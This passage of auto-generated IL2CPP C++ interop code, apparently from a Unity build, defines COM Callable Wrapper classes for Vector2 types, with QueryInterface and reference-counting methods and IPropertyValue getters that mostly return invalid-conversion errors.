comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation bool returnValue; try { returnValue = false; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8_m25D96C5F9AC133BF7B682C59FE83EE05A0075B05(uint8_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16_mBE4A7DC8A2B92F83EE058AE7515E84DADFA206AE(int16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16_mCF513D800195CA7050FD5AFB4E710FB0CFB531B5(uint16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32_mDE5543C20D3D3C9E773CB6EDBDBC789D12CC59BA(int32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32_mD48C2097876EAE6D1E218D9123F58F168B374205(uint32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64_m4BAC154BEC3584DF3E34EDA6033EEF3DB6D4132E(int64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64_m981379F85C0C44EDBDD830A293693BE0BB3F62CA(uint64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingle_mED031D57B17B0F7BD3B4B250821D070155889F1F(float* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDouble_mA0880A7E89CE09C2639D6F8065B18E8F77EB082F(double* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16_m7B2226E30F72B0CCAE54B8EDB1AC4ACF1BE860A8(Il2CppChar* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBoolean_m21FCEEA690B32CD86A36D40FB837FC7D894D5587(bool* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetString_m8D5702E4E1C67366D65DA23CA2812D6572DF819C(Il2CppHString* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuid_m885F2850B49DB4B046564BC5FE414256801D9A11(Guid_t * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTime_m023A766ED6FC58B347CF6F777F5C18C6AE246A3C(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTime"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpan_m063CE76264EDAF37A1DA3CA5C9CF4AF85D8FC239(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPoint_m014D5E859273BA28DE642E38438EDCC64AB5C41B(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSize_m0A952D186E59BEA03E6185EDEBAC26D544AFADAC(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRect_m0A96600149C7E6A493B8420CB316938AEF9A1A06(Rect_tC45F1DDF39812623644DE296D8057A4958176627 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8Array_m540E0503D8CFAE2579D449884B6AA883509C79D1(uint32_t* ___value0ArraySize, uint8_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16Array_m279C289854DE8A2D45A6B6B09112DD9D2F0DF849(uint32_t* ___value0ArraySize, int16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16Array_m090AA712F6BB39F869BCC5CB90236377EE8673B1(uint32_t* ___value0ArraySize, uint16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32Array_mADF499B8CD16185128795A7B74D63E8CFE692B9A(uint32_t* ___value0ArraySize, int32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32Array_m9B44B8D2EA2907A9A96ED653ACEF04873D9483F8(uint32_t* ___value0ArraySize, uint32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64Array_m9A04AC5F477463928280B42E2C40F13B15A1D564(uint32_t* ___value0ArraySize, int64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64Array_m776484C9C41D5A03991D89401FF84F9D425D6A5E(uint32_t* ___value0ArraySize, uint64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingleArray_m1E9CE76FA942B3AFA8995FBAE605E84733917B57(uint32_t* ___value0ArraySize, float** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDoubleArray_m5DAB086BEB4816CAF7553E325B91A4B0B07953A5(uint32_t* ___value0ArraySize, double** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16Array_m2C69248F68D7705FE44FA8F777B061FA77C706A1(uint32_t* ___value0ArraySize, Il2CppChar** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBooleanArray_m083CB5579BC465B4D1BD84CE8382CB747A9FCC8C(uint32_t* ___value0ArraySize, bool** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetStringArray_m680617C6226187D28C4978B710AFBB8581AAC98F(uint32_t* ___value0ArraySize, Il2CppHString** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInspectableArray_m6DCBE370A8CAC129E6D6BD91C6503D14A8109F79(uint32_t* ___value0ArraySize, Il2CppIInspectable*** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Inspectable[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuidArray_mE9983D9B5EE9AC1935C3EBD2F9E82DC7188E1D07(uint32_t* ___value0ArraySize, Guid_t ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTimeArray_mEECFC6C321405CDBC425D321E2A8EF3E7BC306A7(uint32_t* ___value0ArraySize, DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTimeOffset[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpanArray_mEAF3CA18AA928DAF3046F0F530B9324711650167(uint32_t* ___value0ArraySize, TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPointArray_mD4ACB0F49C7BFEC1C03A4EE4263B23B2040CECD0(uint32_t* ___value0ArraySize, Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSizeArray_m3C079B4191330FAC3B2131D308C825BC72A5F0DC(uint32_t* ___value0ArraySize, Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRectArray_m09598924D31716E1E653AE941186F8B16EA11A87(uint32_t* ___value0ArraySize, Rect_tC45F1DDF39812623644DE296D8057A4958176627 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect[]"); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_ComCallableWrapper(obj)); } // COM Callable Wrapper for Windows.Foundation.Numerics.Vector2 struct Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IReference_1_tEAE3A44604921CCE36FBE3986D4AA48786A02DCF, IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8 { inline Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IReference_1_tEAE3A44604921CCE36FBE3986D4AA48786A02DCF::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(2); interfaceIds[0] = IReference_1_tEAE3A44604921CCE36FBE3986D4AA48786A02DCF::IID; interfaceIds[1] = IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID; *iidCount = 2; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_mB9D7D66ED2B28C2740BAFD26B96ED89E73383B5F(Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E * comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E returnValue; try { returnValue = *static_cast(UnBox(GetManagedObjectInline(), Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_il2cpp_TypeInfo_var)); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_Type_m2BC440F5119A133BE4DD895657519ADAA3B34272(int32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation int32_t returnValue; try { returnValue = 20; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_IsNumericScalar_mC8DE97926668A5F2EA3F4A9B128E966CBC7B0D60(bool* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation bool returnValue; try { returnValue = false; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8_m25D96C5F9AC133BF7B682C59FE83EE05A0075B05(uint8_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16_mBE4A7DC8A2B92F83EE058AE7515E84DADFA206AE(int16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16_mCF513D800195CA7050FD5AFB4E710FB0CFB531B5(uint16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32_mDE5543C20D3D3C9E773CB6EDBDBC789D12CC59BA(int32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32_mD48C2097876EAE6D1E218D9123F58F168B374205(uint32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64_m4BAC154BEC3584DF3E34EDA6033EEF3DB6D4132E(int64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64_m981379F85C0C44EDBDD830A293693BE0BB3F62CA(uint64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingle_mED031D57B17B0F7BD3B4B250821D070155889F1F(float* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDouble_mA0880A7E89CE09C2639D6F8065B18E8F77EB082F(double* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16_m7B2226E30F72B0CCAE54B8EDB1AC4ACF1BE860A8(Il2CppChar* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBoolean_m21FCEEA690B32CD86A36D40FB837FC7D894D5587(bool* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetString_m8D5702E4E1C67366D65DA23CA2812D6572DF819C(Il2CppHString* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuid_m885F2850B49DB4B046564BC5FE414256801D9A11(Guid_t * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTime_m023A766ED6FC58B347CF6F777F5C18C6AE246A3C(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTime"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpan_m063CE76264EDAF37A1DA3CA5C9CF4AF85D8FC239(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPoint_m014D5E859273BA28DE642E38438EDCC64AB5C41B(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSize_m0A952D186E59BEA03E6185EDEBAC26D544AFADAC(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRect_m0A96600149C7E6A493B8420CB316938AEF9A1A06(Rect_tC45F1DDF39812623644DE296D8057A4958176627 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8Array_m540E0503D8CFAE2579D449884B6AA883509C79D1(uint32_t* ___value0ArraySize, uint8_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16Array_m279C289854DE8A2D45A6B6B09112DD9D2F0DF849(uint32_t* ___value0ArraySize, int16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16Array_m090AA712F6BB39F869BCC5CB90236377EE8673B1(uint32_t* ___value0ArraySize, uint16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32Array_mADF499B8CD16185128795A7B74D63E8CFE692B9A(uint32_t* ___value0ArraySize, int32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32Array_m9B44B8D2EA2907A9A96ED653ACEF04873D9483F8(uint32_t* ___value0ArraySize, uint32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64Array_m9A04AC5F477463928280B42E2C40F13B15A1D564(uint32_t* ___value0ArraySize, int64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64Array_m776484C9C41D5A03991D89401FF84F9D425D6A5E(uint32_t* ___value0ArraySize, uint64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingleArray_m1E9CE76FA942B3AFA8995FBAE605E84733917B57(uint32_t* ___value0ArraySize, float** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDoubleArray_m5DAB086BEB4816CAF7553E325B91A4B0B07953A5(uint32_t* ___value0ArraySize, double** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16Array_m2C69248F68D7705FE44FA8F777B061FA77C706A1(uint32_t* ___value0ArraySize, Il2CppChar** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBooleanArray_m083CB5579BC465B4D1BD84CE8382CB747A9FCC8C(uint32_t* ___value0ArraySize, bool** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetStringArray_m680617C6226187D28C4978B710AFBB8581AAC98F(uint32_t* ___value0ArraySize, Il2CppHString** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInspectableArray_m6DCBE370A8CAC129E6D6BD91C6503D14A8109F79(uint32_t* ___value0ArraySize, Il2CppIInspectable*** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Inspectable[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuidArray_mE9983D9B5EE9AC1935C3EBD2F9E82DC7188E1D07(uint32_t* ___value0ArraySize, Guid_t ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTimeArray_mEECFC6C321405CDBC425D321E2A8EF3E7BC306A7(uint32_t* ___value0ArraySize, DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTimeOffset[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpanArray_mEAF3CA18AA928DAF3046F0F530B9324711650167(uint32_t* ___value0ArraySize, TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPointArray_mD4ACB0F49C7BFEC1C03A4EE4263B23B2040CECD0(uint32_t* ___value0ArraySize, Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSizeArray_m3C079B4191330FAC3B2131D308C825BC72A5F0DC(uint32_t* ___value0ArraySize, Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRectArray_m09598924D31716E1E653AE941186F8B16EA11A87(uint32_t* ___value0ArraySize, Rect_tC45F1DDF39812623644DE296D8057A4958176627 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect[]"); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E(RuntimeObject* obj) { void* memory = 